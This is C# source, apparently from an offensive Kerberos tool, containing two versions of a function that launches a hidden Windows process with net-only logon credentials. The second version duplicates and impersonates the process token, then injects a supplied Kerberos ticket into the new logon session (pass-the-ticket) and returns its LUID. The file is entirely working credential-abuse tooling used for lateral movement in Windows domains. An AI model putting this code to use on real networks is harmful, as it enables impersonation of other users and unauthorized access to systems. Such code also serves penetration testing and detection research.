public static LUID CreateProcessNetOnly(string commandLine, bool show = false)
{
// creates a hidden process with random /netonly credentials,
// displayng the process ID and LUID, and returning the LUID
// Note: the LUID can be used with the "ptt" action
Interop.PROCESS_INFORMATION pi;
var si = new Interop.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
if (!show)
{
// hide the window
si.wShowWindow = 0;
si.dwFlags = 0x00000001;
}
Console.WriteLine("[*] Showing process : {0}", show);
var luid = new LUID();
// 0x00000002 == LOGON_NETCREDENTIALS_ONLY
if (!Interop.CreateProcessWithLogonW(Helpers.RandomString(8), Helpers.RandomString(8), Helpers.RandomString(8), 0x00000002, commandLine, String.Empty, 0, 0, null, ref si, out pi))
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError);
return(new LUID());
}
Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine);
Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId);
var hToken = IntPtr.Zero;
// TOKEN_QUERY == 0x0008
var success = Interop.OpenProcessToken(pi.hProcess, 0x0008, out hToken);
if (!success)
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] OpenProcessToken error: {0}", lastError);
return(new LUID());
}
var TokenInfLength = 0;
bool Result;
// first call gets lenght of TokenInformation to get proper struct size
Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, IntPtr.Zero, TokenInfLength, out TokenInfLength);
var TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
// second call actually gets the information
Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, TokenInformation, TokenInfLength, out TokenInfLength);
if (Result)
{
var TokenStats = (Interop.TOKEN_STATISTICS)Marshal.PtrToStructure(TokenInformation, typeof(Interop.TOKEN_STATISTICS));
luid = new LUID(TokenStats.AuthenticationId);
Console.WriteLine("[+] LUID : {0}", luid);
}
else
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] GetTokenInformation error: {0}", lastError);
Marshal.FreeHGlobal(TokenInformation);
Interop.CloseHandle(hToken);
return(new LUID());
}
Marshal.FreeHGlobal(TokenInformation);
Interop.CloseHandle(hToken);
return(luid);
}
public static LUID CreateProcessNetOnly(string commandLine, bool show = false, string username = null, string domain = null, string password = null, byte[] kirbiBytes = null)
{
// creates a hidden process with random /netonly credentials,
// displayng the process ID and LUID, and returning the LUID
// Note: the LUID can be used with the "ptt" action
Interop.PROCESS_INFORMATION pi;
var si = new Interop.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
if (!show)
{
// hide the window
si.wShowWindow = 0;
si.dwFlags = 0x00000001;
}
Console.WriteLine("[*] Showing process : {0}", show);
var luid = new LUID();
if (username == null)
{
username = Helpers.RandomString(8);
}
if (domain == null)
{
domain = Helpers.RandomString(8);
}
if (password == null)
{
password = Helpers.RandomString(8);
}
Console.WriteLine("[*] Username : {0}", username);
Console.WriteLine("[*] Domain : {0}", domain);
Console.WriteLine("[*] Password : {0}", password);
// 0x00000002 == LOGON_NETCREDENTIALS_ONLY
// 4 == CREATE_SUSPENDED.
if (!Interop.CreateProcessWithLogonW(username, domain, password, 0x00000002, null, commandLine, 4, 0, Environment.CurrentDirectory, ref si, out pi))
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] CreateProcessWithLogonW error: {0}", lastError);
return(new LUID());
}
Console.WriteLine("[+] Process : '{0}' successfully created with LOGON_TYPE = 9", commandLine);
Console.WriteLine("[+] ProcessID : {0}", pi.dwProcessId);
var hToken = IntPtr.Zero;
// TOKEN_QUERY == 0x0008, TOKEN_DUPLICATE == 0x0002
var success = Interop.OpenProcessToken(pi.hProcess, 0x000A, out hToken);
if (!success)
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] OpenProcessToken error: {0}", lastError);
return(new LUID());
}
if (kirbiBytes != null)
{
IntPtr hDupToken = IntPtr.Zero;
success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
if (!success)
{
Console.WriteLine("[!] CreateProcessNetOnly() - DuplicateToken failed!");
return(new LUID());
}
try
{
success = Interop.ImpersonateLoggedOnUser(hDupToken);
if (!success)
{
Console.WriteLine("[!] CreateProcessNetOnly() - ImpersonateLoggedOnUser failed!");
return(new LUID());
}
LSA.ImportTicket(kirbiBytes, new LUID());
}
finally
{
Interop.RevertToSelf();
// clean up the handles we created
Interop.CloseHandle(hDupToken);
}
}
Interop.ResumeThread(pi.hThread);
bool Result;
Interop.TOKEN_STATISTICS TokenStats = new Interop.TOKEN_STATISTICS();
int TokenInfLength;
Result = Interop.GetTokenInformation(hToken, Interop.TOKEN_INFORMATION_CLASS.TokenStatistics, out TokenStats, Marshal.SizeOf(TokenStats), out TokenInfLength);
Interop.CloseHandle(hToken);
if (Result)
{
luid = new LUID(TokenStats.AuthenticationId);
Console.WriteLine("[+] LUID : {0}", luid);
}
else
{
var lastError = Interop.GetLastError();
Console.WriteLine("[X] GetTokenInformation error: {0}", lastError);
Interop.CloseHandle(hToken);
return(new LUID());
}
return(luid);
}